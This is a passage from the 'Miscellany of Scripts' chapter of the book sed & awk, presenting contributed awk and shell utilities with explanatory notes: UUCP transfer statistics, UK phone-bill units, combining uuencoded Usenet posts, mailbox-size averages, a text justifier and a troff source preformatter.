        "%2d:%02d:%02.0f %5.0f %5.0f %4d %4d\n";
}
{
    if ($6 !~ xmitting)		# should never be
        next;
    direction = ($6 == sending ? 1 : 2)

    site = substr($1,1,index($1,bang)-1);
    if (site in dosome || doall) {
        remote[site];
        bytes[site,direction] += $7;
        time[site,direction] += $9;
        files[site,direction]++;
    }
}
END {
    print hdr1 hdr2 hdr3;
    for (k in remote) {
        rbyte += bytes[k,2];	sbyte += bytes[k,1];
        rtime += time[k,2];	stime += time[k,1];
        rfiles += files[k,2];	sfiles += files[k,1];
        printf(fmt1, k, bytes[k,2]/kbyte, bytes[k,1]/kbyte,
            (bytes[k,2]+bytes[k,1])/kbyte,
            time[k,2]/3600, (time[k,2]%3600)/60, time[k,2]%60,
            time[k,1]/3600, (time[k,1]%3600)/60, time[k,1]%60,
            bytes[k,2] && time[k,2] ? bytes[k,2]/time[k,2] : 0,
            bytes[k,1] && time[k,1] ? bytes[k,1]/time[k,1] : 0,
            files[k,2], files[k,1]);
    }

    print hdr3
    printf(fmt2, rbyte/kbyte, sbyte/kbyte, (rbyte+sbyte)/kbyte,
        rtime/3600, (rtime%3600)/60, rtime%60,
        stime/3600, (stime%3600)/60, stime%60,
        rbyte && rtime ? rbyte/rtime : 0,
        sbyte && stime ? sbyte/stime : 0,
        rfiles, sfiles);
}

A test file was generated to test Cornelius' program. Here are a few lines extracted from /usr/spool/uucp/.Admin/xferstats (because each line in this file is too long to print on a page, we have broken the line following the directional arrow for display purposes only):

isla!nuucp S (8/3-16:10:17) (C,126,25) [ttyi1j] ->
                     1131/4.880 secs, 231 bytes/sec
isla!nuucp S (8/3-16:10:20) (C,126,26) [ttyi1j] ->
                     149/0.500 secs, 298 bytes/sec
isla!sue S (8/3-16:10:49) (C,126,27) [ttyi1j] ->
                     646/25.230 secs, 25 bytes/sec
isla!sue S (8/3-16:10:52) (C,126,28) [ttyi1j] ->
                     145/0.510 secs, 284 bytes/sec
uunet!uisla M (8/3-16:15:50) (C,951,1) [cui1a] ->
                     1191/0.660 secs, 1804 bytes/sec
uunet!uisla M (8/3-16:15:53) (C,951,2) [cui1a] ->
                     148/0.080 secs, 1850 bytes/sec
uunet!uisla M (8/3-16:15:57) (C,951,3) [cui1a] ->
                     1018/0.550 secs, 1850 bytes/sec
uunet!uisla M (8/3-16:16:00) (C,951,4) [cui1a] ->
                     160/0.070 secs, 2285 bytes/sec
uunet!daemon M (8/3-16:16:06) (C,951,5) [cui1a] <-
                     552/2.740 secs, 201 bytes/sec
uunet!daemon M (8/3-16:16:09) (C,951,6) [cui1a] <-
                     102/1.390 secs, 73 bytes/sec

Note that there are 12 fields; however, the program really only uses fields 1, 6, 7, and 9. Running the program on the sample input produces the following results:

$ nawk -f uutot.awk uutot.test
Remote     K-Bytes   K-Bytes   K-Bytes Hr:Mn:Sc Hr:Mn:Sc AvCPS AvCPS    #    #
SiteName      Recv      Xmit     Total     Recv     Xmit  Recv  Xmit Recv Xmit
-------- --------- --------- --------- -------- -------- ----- ----- ---- ----
uunet        0.639     2.458     3.097  0:04:34  2:09:49     2     0    2    4
isla         0.000     2.022     2.022  0:00:00  0:13:58     0     2    0    4
-------- --------- --------- --------- -------- -------- ----- ----- ---- ----
Totals       0.639     4.480     5.119  0:04:34  2:23:47     2     1    2    8

13.1.1 Program Notes for uutot.awk

This nawk application is an excellent example of a clearly written awk program. It is also a typical example of using awk to change a rather obscure UNIX log into a useful report.

Although Cornelius apologizes for the lack of comments that explain the logic of the program, the usage of the program is clear from the initial comments. Also, he uses variables to define search patterns and the report's layout. This helps to simplify conditional and print statements in the body of the program. It also helps that the variables have names which aid in immediately recognizing their purpose.

This program has a three-part structure, as we emphasized in Chapter 7, Writing Scripts for awk. It consists of a BEGIN procedure, in which variables are defined; the body, in which each line of data from the log file is processed; and the END procedure, in which the output for the report is generated.

Previous: 12.3 Spare Details of the masterindex Program | sed & awk | Next: 13.2 phonebill - Track Phone Usage
12.3 Spare Details of the masterindex Program | Book Index | 13.2 phonebill - Track Phone Usage
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] 13.2 phonebill - Track Phone Usage

sed & awk

sed & awkSearch this book
Previous: 13.1 uutot.awk - Report UUCP Statistics Chapter 13
A Miscellany of Scripts 		Next: 13.3 combine - Extract Multipart uuencoded Binaries

13.2 phonebill - Track Phone Usage

Contributed by Nick Holloway

The problem is to calculate the cost of phone calls made. In the United Kingdom, charges are made for the number of "units" used during the duration of the call (no free local calls). The length of time a "unit" lasts depends on the charge band (linked to distance) and the charge rate (linked to time of day). You get charged a whole unit as soon as the time period begins.

The input to the program is four fields. The first field is the date (not used). The second field is "band/rate" and is used to look up the length a unit will last. The third field is the length of the call. This can either be "ss," "mm:ss," or "hh:mm:ss". The fourth field is the name of the caller. We keep a stopwatch (old cheap digital), a book, and a pen. Come bill time this is fed through my awk script. This only deals with the cost of the calls, not the standing charge.

The aim of the program was to enable the minimum amount of information to be entered by the callers, and the program could be used to collect together the call costs for each user in one report. It is also written so that if British Telecom changes its costs, these can be done easily in the top of the source (this has been done once already). If more charge bands or rates are added, the table can be simply expanded (wonders of associative arrays). There are no real sanity checks done on the input data. The usage is:

phonebill [ file ... ]

Here is a (short) sample of input and output.

Input:

29/05   b/p      5:35   Nick
29/05   L/c   1:00:00   Dale
01/06   L/c     30:50   Nick

Output:

Summary for Dale:
    29/05   L/c  1:00:00  11 units
Total: 11 units @ 5.06 pence per unit = $0.56
Summary for Nick:
    29/05   b/p     5:35  19 units
    01/06   L/c    30:50   6 units
Total: 25 units @ 5.06 pence per unit = $1.26

The listing for phonebill follows:

#!/bin/awk -f
#------------------------------------------------------------------
#   Awk script to take in phone usage - and calculate cost for each
#   person
#------------------------------------------------------------------
#   Author: N.Holloway (alfie@cs.warwick.ac.uk)
#   Date  : 27 January 1989
#   Place : University of Warwick
#------------------------------------------------------------------
#   Entries are made in the form
#	Date   Type/Rate   Length  Name
#
#   Format:
#	Date		: "dd/mm"		- one word
#	Type/Rate	: "bb/rr"  (e.g. L/c)
#	Length		: "hh:mm:ss", "mm:ss", "ss"
#	Name		: "Fred"		- one word (unique)
#------------------------------------------------------------------
#   Charge information kept in array 'c', indexed by "type/rate",
#   and the cost of a unit is kept in the variable 'pence_per_unit'
#   The info is stored in two arrays, both indexed by the name. The
#   first 'summary' has the lines that hold input data, and number
#   of units, and 'units' has the cumulative total number of units
#   used by name.
#------------------------------------------------------------------

BEGIN \
    {
    # --- Cost per unit
    pence_per_unit  = 4.40		# cost is 4.4 pence per unit
    pence_per_unit *= 1.15		# VAT is 15%

    # --- Table of seconds per unit for different bands/rates
    #     [ not applicable have 0 entered as value ]
    c ["L/c"] = 330 ;  c ["L/s"] = 85.0;  c ["L/p"] = 60.0;
    c ["a/c"] =  96 ;  c ["a/s"] = 34.3;  c ["a/p"] = 25.7;
    c ["b1/c"]= 60.0;  c ["b1/s"]= 30.0;  c ["b1/p"]= 22.5;
    c ["b/c"] = 45.0;  c ["b/s"] = 24.0;  c ["b/p"] = 18.0;
    c ["m/c"] = 12.0;  c ["m/s"] = 8.00;  c ["m/p"] = 8.00;
    c ["A/c"] = 9.00;  c ["A/s"] = 7.20;  c ["A/p"] = 0   ;
    c ["A2/c"]= 7.60;  c ["A2/s"]= 6.20;  c ["A2/p"]= 0   ;
    c ["B/c"] = 6.65;  c ["B/s"] = 5.45;  c ["B/p"] = 0   ;
    c ["C/c"] = 5.15;  c ["C/s"] = 4.35;  c ["C/p"] = 3.95;
    c ["D/c"] = 3.55;  c ["D/s"] = 2.90;  c ["D/p"] = 0   ;
    c ["E/c"] = 3.80;  c ["E/s"] = 3.05;  c ["E/p"] = 0   ;
    c ["F/c"] = 2.65;  c ["F/s"] = 2.25;  c ["F/p"] = 0   ;
    c ["G/c"] = 2.15;  c ["G/s"] = 2.15;  c ["G/p"] = 2.15;
    }

    {
    spu = c [ $2 ]				# look up charge band
    if ( spu == "" || spu == 0 ) {
        summary [ $4 ] = summary [ $4 ] "\n\t" \
                sprintf ( "%4s  %4s  %7s   ? units",\
                              $1, $2, $3 ) \
                " - Bad/Unknown Chargeband"
    } else {
        n = split ( $3, t, ":" )  # calculate length in seconds
        seconds = 0
        for ( i = 1; i <= n; i++ )
        seconds = seconds*60 + t[i]
        u = seconds / spu   # calculate number of seconds
        if ( int( u ) == u )   # round up to next whole unit
        u = int( u )
        else
        u = int( u ) + 1
        units [ $4 ] += u   # store info to output at end
        summary [ $4 ] = summary [ $4 ] "\n\t" \
                sprintf ( "%4s  %4s  %7s %3d units",\
                             $1, $2, $3, u )
    }
    }

END \
    {
    for ( i in units ) {		# for each person
        printf ( "Summary for %s:", i ) # newline at start
                                            # of summary
        print summary [ i ]			# print summary details
        # calc cost
        total = int ( units[i] * pence_per_unit + 0.5 )
        printf ( \
        "Total: %d units @ %.2f pence per unit = $%d.%02d\n\n", \
                units [i], pence_per_unit, total/100, \
                                               total%100 )
    }
    }

13.2.1 Program Notes for phonebill

This program is another example of generating a report that consolidates information from a simple record structure.

This program also follows the three-part structure. The BEGIN procedure defines variables that are used throughout the program. This makes it easy to change the program, as phone companies are known to "upwardly revise" their rates. One of the variables is a large array named c in which each element is the number of seconds per unit, using the band over the rate as the index to the array.

The main procedure reads each line of the user log. It uses the second field, which identifies the band/rate, to get a value from the array c. It checks that a positive value was returned and then processes that value by the time specified in $3. The number of units for that call is then stored in an array named units, indexed by the name of the caller ($4). This value accumulates for each caller.

Finally, the END routine prints out the values in the units array, producing the report of units used per caller and the total cost of the calls.

Previous: 13.1 uutot.awk - Report UUCP Statistics | sed & awk | Next: 13.3 combine - Extract Multipart uuencoded Binaries
13.1 uutot.awk - Report UUCP Statistics | Book Index | 13.3 combine - Extract Multipart uuencoded Binaries
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] 13.3 combine - Extract Multipart uuencoded Binaries

sed & awk

sed & awkSearch this book
Previous: 13.2 phonebill - Track Phone Usage Chapter 13
A Miscellany of Scripts 		Next: 13.4 mailavg - Check Size of Mailboxes

13.3 combine - Extract Multipart uuencoded Binaries

Contributed by Rahul Dhesi

Of all the scripts I have ever written, the one I am most proud of is the "combine" script.

While I was moderating comp.binaries.ibm.pc, I wanted to provide users a simple way of extracting multipart uuencoded binaries. I added BEGIN and END headers to each part to enclose the uuencoded part and provided users with the following script:

cat $* | sed '/^END/,/^BEGIN/d' | uudecode

This script will accept a list of filenames (in order) provided as command-line arguments. It will also accept concatenated articles as standard input.

This script invokes cat in a very useful way that is well known to expert shell script users but not enough used by most others. This allows the user the choice of either providing command-line arguments or standard input.

The script invokes sed to strip out superfluous headers and trailers, except for headers in the first input file and trailers in the last input file. The final result is that the uuencoded part of the multiple input files is extracted and uudecoded. Each input file (see postings in comp.binaries.ibm.pc) has the following form:

headers
BEGIN
uuencoded text
END

I have lots of other shell stuff, but the above is simplest and has proved useful to several thousand comp.binaries.ibm.pc readers.

13.3.1 Program Notes for combine

This one is pretty obvious but accomplishes a lot. For those who might not understand the use of this command, here is the explanation. A Usenet newsgroup such as comp.binaries.ibm.pc distributes public-domain programs and such. Binaries, the object code created by the compiler, cannot be distributed as news articles unless they are "encoded." A program named uuencode converts the binary to an ASCII representation that can be easily distributed. Furthermore, there are limits on the size of news articles and large binaries are broken up into a series of articles (1 of 3, 2 of 3, 3 of 3, for example). Dhesi would break up the encoded binary into manageable chunks, and then add the BEGIN and END lines to delimit the text that contained encoded binary.

A reader of these articles might save each article in a file. Dhesi's script automates the process of combining these articles and removing extraneous information such as the article header as well as the extra BEGIN and END headers. His script removes lines from the first END up to and including the next BEGIN pattern. It combines all the separate encoded parcels and directs them to uudecode, which converts the ASCII representation to binary.

One has to appreciate the amount of manual editing work avoided by a simple one-line script.

Previous: 13.2 phonebill - Track Phone Usage | sed & awk | Next: 13.4 mailavg - Check Size of Mailboxes
13.2 phonebill - Track Phone Usage | Book Index | 13.4 mailavg - Check Size of Mailboxes
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] 13.4 mailavg - Check Size of Mailboxes

sed & awk

sed & awkSearch this book
Previous: 13.3 combine - Extract Multipart uuencoded Binaries Chapter 13
A Miscellany of Scripts 		Next: 13.5 adj - Adjust Lines for Text Files

13.4 mailavg - Check Size of Mailboxes

Contributed by Wes Morgan

While tuning our mail system, we needed to take a "snapshot" of the users' mailboxes at regular intervals over a 30-day period. This script simply calculates the average size and prints the arithmetic distribution of user mailboxes.

#! /bin/sh
#
# mailavg - average size of files in /usr/mail
#
# Written by Wes Morgan, morgan@engr.uky.edu, 2 Feb 90
ls -Fs /usr/mail | awk '
   { if(NR != 1) {
       total += $1;
       count += 1;
       size = $1 + 0;
       if(size == 0) zercount+=1;
       if(size > 0 && size <= 10) tencount+=1;
       if(size > 10 && size <= 19) teencount+=1;
       if(size > 20 && size <= 50) uptofiftycount+=1;
       if(size > 50) overfiftycount+=1;
       }
   }
   END { printf("/usr/mail has %d mailboxes using %d blocks,",
            count,total)
         printf("average is %6.2f blocks\n", total/count)
         printf("\nDistribution:\n")
         printf("Size      Count\n")
         printf(" O           %d\n",zercount)
         printf("1-10         %d\n",tencount)
         printf("11-20        %d\n",teencount)
         printf("21-50        %d\n",uptofiftycount)
         printf("Over 50      %d\n",overfiftycount)
       }'
exit 0

Here's a sample output from mailavg:

$ mailavg
/usr/mail has 47 mailboxes using 5116 blocks,
average is 108.85 blocks
Distribution:
Size      Count
 O           1
1-10         13
11-20        1
21-50        5
Over 50      27

13.4.1 Program Notes for mailavg

This administrative program is similar to the filesum program in Chapter 7. It processes the output of the ls command.

The conditional expression "NR != 1" could have been put outside the main procedure as a pattern. While the logic is the same, using the expression as a pattern clarifies how the procedure is accessed, making the program easier to understand.

In that procedure, Morgan uses a series of conditionals that allow him to collect distribution statistics on the size of each user's mailbox.

Previous: 13.3 combine - Extract Multipart uuencoded Binaries | sed & awk | Next: 13.5 adj - Adjust Lines for Text Files
13.3 combine - Extract Multipart uuencoded Binaries | Book Index | 13.5 adj - Adjust Lines for Text Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] 13.5 adj - Adjust Lines for Text Files

sed & awk

sed & awkSearch this book
Previous: 13.4 mailavg - Check Size of Mailboxes Chapter 13
A Miscellany of Scripts 		Next: 13.6 readsource - Format Program Source Files for troff

13.5 adj - Adjust Lines for Text Files

Contributed by Norman Joseph

[Because the author used his program to format his mail message before sending it, we're preserving the linebreaks and indented paragraphs in presenting it here as the program's example. This program is similar to the BSD fmt program.]

Well, I decided to take you up on your offer. I'm sure there are
more sophisticated gurus out there than me, but I do have a nawk script
that I'm kind of fond of, so I'm sending it in.

Ok, here's the low down. When I'm writing e-mail, I often make a
lot of changes to the text (especially if I'm going to post on the net).
So what starts out as a nicely adjusted letter or posting usually ends up
looking pretty sloppy by the time I'm done adding and deleting lines. So
I end up spending a lot of time joining and breaking lines all through my
document so as to get a nice right-hand margin. So I say to myself,
"This is just the kind of tedious work a program would be good for."

Now, I know I can use nroff to filter my document through and
adjust the lines, but it has lousy defaults (IMHO) for simple text like
this. So, with a view to sharpening my nawk skills I wrote adj.nawk
and the accompanying shell script wrapper adj.

Here's the syntax for the nawk filter adj:

adj [-l|c|r|b] [-w n] [-i n] [files ...]

The options are:

-l

Lines are left adjusted, right ragged (default).

-c

Lines are centered.

-r

Lines are right adjusted, left ragged.

-b

Lines are left and right adjusted.

-w n

Sets line width to n characters (default is 70).

-i n

Sets initial indent to n characters (default is 0).

So, whenever I'm finished with this letter (I'm using vi) I will
give the command :%!adj -w73 (I like my lines a little longer) and
all the breaking and joining will be done by a program (the way the Good
Lord intended :-). Indents and blank lines are preserved, and two spaces
are given after any end-of-sentence punctuation.

The program is naive about tabs, and when computing line lengths,
it considers a tab character to be one space wide.

The program is notable for its use of command-line parameter
assignment, and some of the newer features of awk (nawk), such as the
match and split built-in functions, and for its use of support functions.

#! /bin/sh
#
# adj - adjust text lines
#
# usage: adj [-l|c|r|b] [-w n] [-i n] [files ...]
#
# options:
#    -l    - lines are left adjusted, right ragged (default)
#    -c    - lines are centered
#    -r    - lines are right adjusted, left ragged
#    -b    - lines are left and right adjusted
#    -w n  - sets line width to <n> characters (default: 70)
#    -i n  - sets initial indent to <n> characters (default: 0)
#
# note:
#    output line width is -w setting plus -i setting
#
# author:
#    Norman Joseph (amanue!oglvee!norm)

adj=l
wid=70
ind=0

set -- `getopt lcrbw:i: $*`
if test $? != 0
then
    printf 'usage: %s [-l|c|r|b] [-w n] [-i n] [files ...]' $0
    exit 1
fi

for arg in $*
do
    case $arg in
    -l) adj=l;  shift;;
    -c) adj=c;  shift;;
    -r) adj=r;  shift;;
    -b) adj=b;  shift;;
    -w) wid=$2;  shift 2;;
    -i) ind=$2;  shift 2;;
    --) shift;  break;;
    esac
done

exec nawk -f adj.nawk type=$adj linelen=$wid indent=$ind $*

Here's the adj.nawk script that's called by the shell script adj.

# adj.nawk -- adjust lines of text per options
#
# NOTE:  this nawk program is called from the shell script "adj"
#    see that script for usage & calling conventions
#
# author:
#    Norman Joseph (amanue!oglvee!norm)

BEGIN  {
    FS = "\n"
    blankline  = "^[ \t]*$"
    startblank = "^[ \t]+[^ \t]+"
    startwords = "^[^ \t]+"
}

$0 ~ blankline {
    if ( type == "b" )
        putline( outline "\n" )
    else
        putline( adjust( outline, type ) "\n" )
    putline( "\n" )
    outline = ""
}

$0 ~ startblank {
    if ( outline != "" ) {
        if ( type == "b" )
            putline( outline "\n" )
        else
            putline( adjust( outline, type ) "\n" )
    }

    firstword = ""
    i = 1
    while ( substr( $0, i, 1 ) ~ "[ \t]" ) {
        firstword = firstword substr( $0, i, 1 )
        i++
    }
    inline = substr( $0, i )
    outline = firstword

    nf = split( inline, word, "[ \t]+" )

    for ( i = 1;  i <= nf;  i++ ) {
        if ( i == 1 ) {
            testlen = length( outline word[i] )
        } else {
            testlen = length( outline " " word[i] )
            if ( match( ".!?:;", "\\" substr( outline,
                    length( outline ), 1 )) )
                testlen++
        }

        if ( testlen > linelen ) {
            putline( adjust( outline, type ) "\n" )
            outline = ""
        }

        if ( outline == "" )
            outline = word[i]
        else if ( i == 1 )
            outline = outline word[i]
        else {
            if ( match( ".!?:;", "\\" substr( outline,
                   length( outline ), 1 )) )
                outline = outline "  " word[i]     # 2 spaces
            else
                outline = outline " " word[i]      # 1 space
        }
    }
}

$0 ~ startwords  {
    nf = split( $0, word, "[ \t]+" )

    for ( i = 1;  i <= nf;  i++ ) {
        if ( outline == "" )
            testlen = length( word[i] )
        else {
            testlen = length( outline " " word[i] )
            if ( match( ".!?:;", "\\" substr( outline,
                   length( outline ), 1 )) )
                testlen++
        }

        if ( testlen > linelen ) {
            putline( adjust( outline, type ) "\n" )
            outline = ""
        }

        if ( outline == "" )
            outline = word[i]
        else {
            if ( match( ".!?:;", "\\" substr( outline,
                   length( outline ), 1 )) )
                outline = outline "  " word[i]     # 2 spaces
            else
                outline = outline " " word[i]      # 1 space
        }
    }
}

END  {
    if ( type == "b" )
        putline( outline "\n" )
    else
        putline( adjust( outline, type ) "\n" )
}

#
# -- support functions --
#

function putline( line,    fmt )
{
    if ( indent ) {
        fmt = "%" indent "s%s"
        printf( fmt, " ", line )
    } else
        printf( "%s", line )
}

function adjust( line, type,    fill, fmt )
{
    if ( type != "l" )
        fill = linelen - length( line )

    if ( fill > 0 ) {
        if        ( type == "c" ) {
            fmt = "%" (fill+1)/2 "s%s"
            line = sprintf( fmt, " ", line )
        } else if ( type == "r" ) {
            fmt = "%" fill "s%s"
            line = sprintf( fmt, " ", line )
        } else if ( type == "b" ) {
            line = fillout( line, fill )
        }
    }

    return line
}

function fillout( line, need,    i, newline, nextchar, blankseen )
{
    while ( need ) {
        newline = ""
        blankseen = 0

        if ( dir == 0 ) {
            for ( i = 1;  i <= length( line );  i++ ) {
                nextchar = substr( line, i, 1 )
                if ( need ) {
                    if ( nextchar == " " ) {
                        if ( ! blankseen ) {
                            newline = newline " "
                            need--
                            blankseen = 1
                        }
                    } else {
                        blankseen = 0
                    }
                }
                newline = newline nextchar
            }

        } else if ( dir == 1 ) {
            for ( i = length( line );  i >= 1;  i-- ) {
                nextchar = substr( line, i, 1 )
                if ( need ) {
                    if ( nextchar == " " ) {
                        if ( ! blankseen ) {
                            newline = " " newline
                            need--
                            blankseen = 1
                        }
                    } else {
                        blankseen = 0
                    }
                }
                newline = nextchar newline
            }
        }

        line = newline
        dir = 1 - dir
    }

    return line
}

13.5.1 Program Notes for adj

This small text formatter is a nifty program for those of us who use text editors. It allows you to set the maximum line width and justify paragraphs and thus can be used to format mail messages or simple letters.

The adj shell script does all the option setting, although it could have been done by reading ARGV in the BEGIN action. Using the shell to establish command-line parameters is probably easier for those who are already familiar with the shell.

The lack of comments in the adj.awk script makes this script more difficult to read than some of the others. The BEGIN procedure assigns three regular expressions to variables: blankline, startblank, startwords. This is a good technique (one that you'll see used in lex specifications) because regular expressions can be difficult to read and the name of the variable makes it clear what it matches. Remember that modern awks lets you supply a regular expression as a string, in a variable.

There are three main procedures, which can be named by the variable they match. The first is blankline, a procedure which handles collected text once a blank line is encountered. The second is startblank, which handles lines that begin with whitespace (spaces or tabs). The third is startwords, which handles a line of text. The basic procedure is to read a line of text and determine how many of the words in that line will fit, given the line width, outputting those that will fit and saving those that will not in the variable outline. When the next input line is read, the contents of outline must be output before that line is output.

The adjust() function does the work of justifying the text based on a command-line option specifying the format type. All types except "l" (left-adjusted, right-ragged) need to be filled. Therefore, the first thing this function does is figure out how much "fill" is needed by subtracting the length of the current line from the specified line length. It makes excellent use of the sprintf() function to actually do the positioning of the text. For instance, to center text, the value of fill (plus 1) is divided by 2 to determine the amount of padding needed on each side of the line. This amount is passed through the fmt variable as the argument to sprintf():

            fmt = "%" (fill+1)/2 "s%s"
            line = sprintf( fmt, " ", line )

Thus, the space will be used to pad a field that is the length of half the amount of fill needed.

If text is right-justified, the value of fill itself is used to pad the field. Finally, if the format type is "b" (block), then the function fillout is called to determine where to add spaces that will fill out the line.

In looking over the design of the program, you can see, once again, how the use of functions helps to clarify what a program is doing. It helps to think of the main procedure as controlling the flow of input through the program while procedures handle the operations performed on the input. Separating the "operations" from the flow control makes the program readable and more easily maintained.

In passing, we're not sure why FS, the field separator, is set to newline in the BEGIN procedure. This means that the field and record separators are the same (i.e., $0 and $1 are the same). The split() function is called to break the line into fields using tabs or spaces as the delimiter.

nf = split( $0, word, "[ \t]+" )

It would seem that the field separator could have been set to the same regular expression, as follows:

FS = "[ \t]+"

It would be more efficient to use the default field parsing.

Finally, using the match() function to find punctuation is inefficient; it would have been better to use index().

Previous: 13.4 mailavg - Check Size of Mailboxes | sed & awk | Next: 13.6 readsource - Format Program Source Files for troff
13.4 mailavg - Check Size of Mailboxes | Book Index | 13.6 readsource - Format Program Source Files for troff
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 13] 13.6 readsource - Format Program Source Files for troff

sed & awk

sed & awkSearch this book
Previous: 13.5 adj - Adjust Lines for Text Files Chapter 13
A Miscellany of Scripts 		Next: 13.7 gent - Get a termcap Entry

13.6 readsource - Format Program Source Files for troff

Contributed by Martin Weitzel

I am often preparing technical documents, especially for courses and training. In these documents, I often need to print source files of different kinds (C programs, awk programs, shell scripts, makefiles). The problem is that the sources often change with time and I want the most recent version when I print. I also want to avoid typos in print.

As I'm using troff for text processing, it should be easy to include the original sources into the text. But there are some characters (especially "" and "." and "," at the beginning of a line) that I must escape to prevent interpretation by troff.

I often want excerpts from sources rather than a complete file. I also need a mechanism for setting page breaks. Well, perhaps I'm being a perfectionist, but I don't want to see a C function printed nearly complete on one page, but only the two last lines appear on the next. As I frequently change the documents, I cannot hunt for "nice" page breaks - this must be done automatically.

To solve these set of problems, I wrote a filter that preprocesses any source for inclusion as text in troff. This is the awk program I send with this letter. [He didn't offer a name for it so it is here named readsource.]

The whole process can be further automated through makefiles. I include a preprocessed version of the sources into my troff documents, and I make the formatting dependent on these preprocessed files. These files again are dependent on their originals, so if I "make" the document to print it, the preprocessed sources will be checked to see if they are still current; otherwise they will be generated new from their originals.

My program contains a complete description in the form of comments. But as the description is more for me than for others, I'll give you some more hints. Basically, the program simply guards some characters, e.g., "\" is turned into "\e" and "\&" is written before every line. Tabs may be expanded to spaces (there's a switch for it), and you may even generate line numbers in front of every line (switch selectable). The format of these line numbers can be set through an environmental variable.

If you want only parts of a file to be processed, you can select these parts with two regular expressions (with another switch). You must specify the first line to be included and the first line not to be. I've found that this is often practical: If you want to show only a certain function of a C program, you can give the first line of the function definition and the first line of the next function definition. If the source is changed such that new functions are inserted between the two or the order is changed, the pattern matching will not work correctly. But this will accommodate the more frequently made, smaller changes in a program.

The final feature, getting the page breaks right, is a bit tricky. Here a technique has evolved that I call "here-you-may-break." Those points are marked by a special kind of line (I use "/*!" in C programs and "#!" in awk, shell, makefiles, etc.). How the points are marked doesn't matter too much, you may have your own conventions, but it must be possible to give a regular expression that matches exactly this kind of line and no others (e.g., if your sources are written so that a page break is acceptable wherever you have an empty line, you can specify this very easily, as all you need is the regular expression for empty lines).

Before all the marked lines, a special sequence will be inserted which again is given by an environmental variable. With troff, I use the technique of opening a "display" (.DS) before I include such preprocessed text, and inserting a close (.DE) and new open (.DS) display wherever I would accept a page break. After this, troff does the work of gathering as many lines as fit onto the current page. I suppose that suitable techniques for other text processors exist.

#! /bin/sh
# Copyright 1990 by EDV-Beratung Martin Weitzel, D-6100 Darmstadt
# ==================================================================
# PROJECT:	Printing Tools
# SH-SCRIPT:	Source to Troff Pre-Formatter
# ==================================================================

#!
# ------------------------------------------------------------------
# This programm is a tool to preformat source files, so that they
# can be included (.so) within nroff/troff-input. Problems when
# including arbitrary files within nroff/troff-input occur on lines,
# starting with dot (.) or an apostrophe ('), or with the respective
# chars, if these are changed, furthermore from embedded backslashes.
# While changing the source so that none of the above will cause
# any problems, some other useful things can be done, including
# line numbering and selecting interesting parts.
# ------------------------------------------------------------------
#!
  USAGE="$0 [-x d] [-n] [-b pat] [-e pat] [-p pat] [file ...]"
#
# SYNOPSIS:
# The following options are supported:
#	-x d	expand tabs to "d" spaces
#	-n 	number source lines (see also: NFMT)
#	-b pat	start output on a line containing "pat",
#		including this line (Default: from beginning)
#	-e pat	end output on a line containing "pat"
#		excluding this line (Default: upto end)
#	-p pat	before lines containing "pat", page breaks
#		may occur (Default: no page breaks)
# "pat" may be an "extended regular expression" as supported by awk.
# The following variables from the environment are used:
#	NFMT	specify format for line numbers (Default: see below)
#	PBRK	string, to mark page breaks. (Default: see below)
#!
# PREREQUISITES:
# Common UNIX-Environment, including awk.
#
# CAVEATS:
# "pat"s are not checked before they are used (processing may have
# started, before problems are detected).
# "NFMT" must contain exactly one %d-format specifier, if -n
# option is used.
# In "NFMT" and "PBRK", embedded double quotes must be guarded with
# a leading backslash.
# In "pat"s, "NFMT" and "PBRK" embedded TABs and NLs must be written
# as \t and \n. Backslashes that should "go thru" to the output as
# such, should be doubled. (The latter is only *required* in a few
# special cases, but it does no harm the other cases).
#
#!
# BUGS:
# Slow - but may serve as prototype for a faster implementation.
# (Hint: Guarding backslashes the way it is done by now is very
# expensive and could also be done using sed 's/\\/\\e/g', but tab
# expansion would be much harder then, because I can't imagine how
# to do it with sed. If you have no need for tab expansion, you may
# change the program. Another option would be to use gsub(), which
# would limit the program to environments with nawk.)
#
# Others bugs may be, please mail me.
#!
# AUTHOR:	Martin Weitzel, D-6100 DA (martin@mwtech.UUCP)
#
# RELEASED: 	25. Nov 1989, Version 1.00
# ------------------------------------------------------------------

#! CSOPT
# ------------------------------------------------------------------
# 	check/set options
# ------------------------------------------------------------------

xtabs=0 nfmt= bpat= epat= ppat=
for p
do
case $sk in
1) shift; sk=0; continue
esac
case $p in
-x)	shift;
    case $1 in
    [1-9]|1[0-9]) xtabs=$1; sk=1;;
    *) { >&2 echo "$0: bad value for option -x: $1"; exit 1; }
    esac
    ;;
-n)	nfmt="${NFMT:-<%03d>\  ·}"; shift ;;
-b)	shift; bpat=$1; sk=1 ;;
-e)	shift; epat=$1; sk=1 ;;
-p)	shift; ppat=$1; sk=1 ;;
--)	shift; break ;;
*)	break
esac
done

#! MPROC
# ------------------------------------------------------------------
# 	now the "real work"
# ------------------------------------------------------------------

awk '
#. prepare for tab-expansion, page-breaks and selection
BEGIN {
    if (xt = '$xtabs') while (length(sp) < xt) sp = sp " ";
    PBRK = "'"${PBRK-'.DE\n.DS\n'}"'"
    '${bpat:+' skip = 1; '}'
} #! limit selection range
{
    '${epat:+' if (!skip && $0 ~ /'"$epat"'/) skip = 1; '}'
    '${bpat:+' if (skip && $0 ~ /'"$bpat"'/) skip = 0; '}'
    if (skip) next;
}
#! process one line of input as required
{
    line = ""; ll = 0;
    for (i = 1; i <= length; i++) {
        c = substr($0, i, 1);
        if (xt && c == "\t") {
            # expand tabs
            nsp = 8 - ll % xt;
            line = line substr(sp, 1, nsp);
            ll += nsp;
        }
        else {
            if (c == "\\") c = "\\e";
            line = line c;
            ll++;
        }
    }
}
#! finally print this line
{
    '${ppat:+' if ($0 ~ /'"$ppat"'/) printf("%s", PBRK); '}'
